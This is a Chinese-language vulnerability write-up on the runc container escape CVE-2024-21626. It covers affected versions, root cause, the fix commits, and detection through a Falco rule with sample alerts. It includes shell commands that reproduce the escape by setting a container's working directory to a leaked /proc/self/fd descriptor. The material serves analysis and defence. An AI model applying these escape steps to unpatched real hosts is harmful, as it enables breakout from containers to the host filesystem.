runC 逃逸漏洞 CVE-2024-21626 详解
2024 年 1 月 31 日,容器运行时组件 runc 发布了 1.1.12 版本,修复了容器逃逸漏洞 CVE-2024-21626。受影响的版本范围为:
- 大于等于 v1.0.0-rc93,小于等于 1.1.11。
已修复版本为 1.1.12。
对于第三方组件:
- containerd 的已修复版本为 1.6.28 和 1.7.13。受影响版本范围为 1.4.7 到 1.6.27 和 1.7.12。
- docker 的已修复版本为 25.0.2。
漏洞复现
复现环境:
- Linux 发行版:Arch Linux
- Linux 内核版本:6.4.12-arch1-1
- Docker 版本:24.0.6
- runC 版本:1.1.9
根据该漏洞的形成原理,攻击者可通过以下两种方式利用该漏洞:
启动一个容器时将容器的工作目录设置为
/proc/self/fd/<fd>
(<fd>
为打开/sys/fs/cgroup
目录时返回的文件描述符,一般情况下为 7 或 8)。在容器中为
/proc/self/fd/<fd>
(<fd>
为打开/sys/fs/cgroup
目录时返回的文件描述符,一般情况下为 7 或 8) 创建一个符号链接。当外部在该容器中执行命令时,容器中可通过/proc/<PID>/cwd
符号链接访问宿主机文件系统中的/sys/fs/cgroup
目录,并利用形如/proc/<PID>/cwd/../../../
的路径访问宿主机文件系统。
构造恶意镜像实现利用
根据漏洞原理编写 Dockerfile 并构建出恶意镜像,直接运行镜像即可成功利用。
docker exec 执行命令实现利用
先启动一个容器,并在容器中为
/proc/self/fd/8
创建符号链接/foo
。此处使用debian:bookworm
镜像。接着在新的窗口中使用
docker exec
命令在新创建的容器中执行 sleep 命令,并设置工作目录为/foo
。在容器中找到 sleep 命令的 PID,然后通过其
/proc/<PID>/cwd
即可访问到宿主机文件系统。
漏洞分析
首先简要描述当执行 docker run
命令创建并运行一个容器时,几个组件之间的整体调用关系是怎样的;然后通过 runc run
命令复现漏洞,并说明漏洞的形成原理;接着解释为什么通过 docker run
命令创建的容器中 /sys/fs/cgroup
目录对应的文件描述符为 8,而不是 7。最后对官方修复代码进行分析。
Docker 引擎如何调用 runc
当执行 docker run
命令创建并运行一个容器时,几个组件之间的调用关系为:
- Docker 引擎(dockerd)通过
/run/containerd.containerd.sock
调用 containerd 的 RPC 服务创建并运行容器。 - containerd 接收到创建和运行容器的请求后,会先执行
containerd-shim-runc-v2
命令运行一个 RPC 服务。 containerd-shim-runc-v2
进程的 RPC 服务以 UNIX socket 文件的形式对外提供,UNIX socket 文件的路径保存在/run/containerd/io.containerd.v2.task/moby/<containerID>/address
文件中。RPC 服务的定义位于/api/runtime/task/v3/shim.proto
。containerd 使用这个 UNIX socket 文件与之交互。- 当 containerd 调用
containerd-shim-runc-v2
的Create
方法创建一个容器时,containerd-shim-runc-v2
会执行runc create
命令创建容器。当 containerd 调用Run
方法运行一个容器时,containerd-shim-runc-v2
会执行runc start
命令运行指定的容器。
另外,containerd 把对 runc 命令的调用封装成了一个单独的库 go-runc。
使用 runc 复现漏洞
使用 alpine 镜像运行一个容器,并将其导出,作为 rootfs。
使用 runc 命令创建一个默认的配置文件 config.json
,并将其中 cwd
键的值修改为 /proc/self/fd/7
。
使用 runc 命令启动容器,实现逃逸。需要注意的是**必须添加 --log
参数,原因稍后解释。
~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo
漏洞形成原因
runc run
命令在刚启动时会创建一个 libcontainer.linuxContainer
对象。在创建此对象之前会先创建一个用于操作 cgroup 的接口类型对象 cgroups.Manager
,由于 runc 操作 cgroup 的实现原理,它会打开宿主机文件系统中的 /sys/fs/cgroup
目录,后续对 cgroup 文件的打开操作都是基于 openat2(2)
系统调用。但是在生成子进程时并没有把 /sys/fs/cgroup
目录的文件描述符关闭,以至于子进程仍可以利用该文件描述符的 /proc/self/fd/<fdnum>
符号链接访问宿主机文件系统。如果 openat(2)
调用失败,那么会调用 openFallback()
函数以绝对路径的方式打开 cgroup 文件。
相关函数调用链为:
为什么要使用 openat(2) 系统调用
runc 在 2020 年 12 月 4 日的代码中引入了 openat(2)
的支持,即 1.0.0-rc93
版本。简言之,使用 openat(2)
可以避免在容器的 mount 命名空间中挂载宿主机文件系统的目录时潜在的逃逸风险,详细问题不在此处展开,可以查看相关文章以及 openat(2)
的文档。
为什么 /sys/fs/cgroup 的文件描述符是 7
这个问题与 Golang 的运行时有关。首先 0、1、2 三个文件描述符毫无疑问代表标准输入、标准输出和标准错误;打开命令行参数指定的日志文件(3);Golang 程序刚启动时运行时会创建一个 epoll 文件描述符(4)和一个管道(5、6);接着初始化 cgroup 管理模块时打开 /sys/fs/cgroup
目录(7)。
- 打开日志文件在前,Golang 运行时创建 epoll 文件描述符和管道在后的原因与 Golang 运行时的实现有关,由于篇幅限制不展开,后续会新开一篇文章讲解。
为什么用 docker run 创建的容器中 /sys/fs/cgroup 的文件描述符是 8
从前述调用链可知,最终执行 runc 命令的是 containerd-shim-runc-v2,而 containerd-shim-runc-v2 在执行 runc 命令前会创建一个 UNIX socket 提供 RPC 服务,而这个 UNIX socket 对应的文件描述符会被传递给 runc 命令。通过修改源码,在 C 函数 nsexec()
开头添加 sleep()
函数,可以观察到 containerd-shim-runc-v2 和 runc create
两个进程的文件描述符关系。
由于在 nsexec()
函数中添加的 sleep 函数,runc create
进程进入 main 函数后立即进入睡眠,此时从上图可以看到其有 4 个文件描述符:
- 0:不需要给
runc create
输入任何数据,因此标准输入被重定向到 /dev/null。 - 1、2:containerd-shim-runc-v2 需要捕获 runc 进程的标准输出和标准错误,因此把 1 和 2 两个文件描述符设置为管道。
- 3:文件描述符 3 就是 containerd-shim-runc-v2 误传递给
runc create
进程的提供 RPC 服务的 UNIX socket。
上图是 runc create
进程通过执行 /proc/self/exe init
命令,且 /proc/self/exe init
进程阻塞到我们添加的 sleep()
函数时 runc create
进程的文件描述符情况。可以看到由于用于提供 RPC 服务的 UNIX socket 文件描述符 3 的存在,/sys/fs/cgroup
目录的文件描述符变成了 8。
为什么有时候用
docker run
创建的容器中/sys/fs/cgroup
目录的文件描述符仍然是 7?这个问题目前还没有完全搞清楚,不过猜测还是与前述提到的exec.(*Cmd).ExtraFiles
的实现机制有关。
神奇的 --log 命令行参数
在前面使用 runc 复现漏洞时,如果不指定 --log
参数的话 /sys/fs/cgroup
目录的文件描述符会变成 3,此时是无法传递给子进程的,原因是与标准库 os/exec
中 exec.(*Cmd).ExtraFiles
的实现机制有关。
众所周知,在 Linux 中创建一个子进程需要执行 fork(2)
系统调用,子进程会继承父进程打开的所有文件描述符。在子进程中执行 execve(2)
系统调用加载一个新的程序时,内核会关闭所有设置了 O_CLOEXEC 标志的文件描述符,而子进程新加载的程序依然可以通过其余没有关闭的文件描述符访问对应的文件。这种情况下就会存在一定的安全风险,例如 CVE-2024-21626,runC 主进程没有及时关闭 /sys/fs/cgroup 目录的文件描述符,导致容器进程可通过继承自主进程的文件描述符访问宿主机文件系统。
面对这个安全风险,Golang 的设计原则是,默认情况下子进程不应该继承父进程的所有文件描述符,如果子进程确要继承某些文件描述符,父进程需要显式地传递给子进程。具体来说,Golang 运行时在打开文件时会给文件描述符设置 O_CLOEXEC
标志,对于要传递给子进程的文件描述符,运行时会使用 dup3(2)
系统调用以去掉 O_CLOEXEC
标志,从而实现描述符的传递。注意,直接调用系统调用创建的文件描述符(例如使用 syscall
标准库或者 golang.org/x/sys/unix
库)默认是不会被设置 O_CLOEXEC
标志的,如果不显式传递给子进程,其最终能否传递给子进程取决于上述提到的运行时使用 dup3(2)
复制文件描述符时的具体情况,即如果文件描述符的值大于 len(cmd.ExtraFiles) + 3
,那么它就不会被关闭,否则会被关闭。详情请阅读 Golang 源码。
官方修复代码分析
查看仓库发现为了修复此漏洞,共提交了 4 次代码 8e1cd2、f2f162、89c93d、ee7309,其中后三次都是在产生子进程前关闭不需要的文件描述符或者给文件描述符设置 O_CLOEXEC
标志位,第一次提交的代码对当前工作目录作校验,看其是否属于容器中的目录。
漏洞检测
漏洞利用特征
根据漏洞利用过程,可以总结出漏洞利用过程中几条进程行为特征:
- 在容器中会产生当前工作目录(cwd)形如
/proc/self/fd/<fd>
的进程。 - 在容器中会产生目标目录为形如
/proc/self/fd/<fd>
的symlink(2)
或symlinkat(2)
系统调用。 - 在容器中会产生 open/openat/openat2 系统调用,且文件名具有
/proc/\d+/cwd/.*
的正则表达式特征。
leaky-vessels-dynamic-detector
synk 官方提供了一个基于 eBPF 的检测程序 leaky-vessels-dynamic-detector。
Falco
根据上述漏洞利用特征编写如下 Falco 规则。
- macro: container
condition: (container.id != host and container.name exists)
- rule: CVE-2024-21626 (runC escape via /proc/[PID]/cwd) exploited
desc: >
Detect CVE-2024-21626, runC escape vulnerability via /proc/[PID]/cwd.
condition: >
container and ((evt.type = execve and proc.cwd startswith /proc/self/fd) or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
output: CVE-2024-21626 exploited (%container.info)
priority: CRITICAL
经测试发现并不会产生任何告警。分析之后发现,对于 open 系列系统调用,Falco 是使用容器的 rootfs 对符号链接实现解引用,也就是说 /proc/39/cwd/../../../etc/passwd
在 Falco 中实际拿到的数据为 /etc/passwd
。以下是访问宿主机文件系统时容器中所有的 open 系列系统调用。
17:57:28.598911006: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 /proc)
17:57:33.931961621: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 <NA>)
17:57:33.931983557: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 /etc/ld.so.cache)
17:57:33.932034308: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 <NA>)
17:57:33.932060422: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 /lib/x86_64-linux-gnu/libpcre2-8.so.0)
17:57:33.932202422: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 <NA>)
17:57:33.932224321: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 /lib/x86_64-linux-gnu/libc.so.6)
17:57:33.933222540: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 <NA>)
17:57:33.933269859: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 /proc/self/maps)
17:57:33.933623118: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 <NA>)
17:57:33.933664988: Critical CVE-2024-21626 exploited (container=ad2561294d80 container_id=ad2561294d80 container_name=cve-2024-21626 /etc/passwd)
18:12:02.847468476: Critical CVE-2024-21626 exploited (container=96925ad4d71a container_id=96925ad4d71a container_name=cve-2024-21626)
18:12:02.848096708: Critical CVE-2024-21626 exploited (container=96925ad4d71a container_id=96925ad4d71a container_name=cve-2024-21626)
参考资料
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/8e1cd2f56d518f8d6292b8bb39f0d0932e4b6c2a
https://github.com/opencontainers/runc/commit/f2f16213e174fb63e931fe0546bbbad1d9bbed6f
https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48
https://github.com/opencontainers/runc/commit/ee73091a8d28692fa4868bac81aa40a0b05f9780
https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/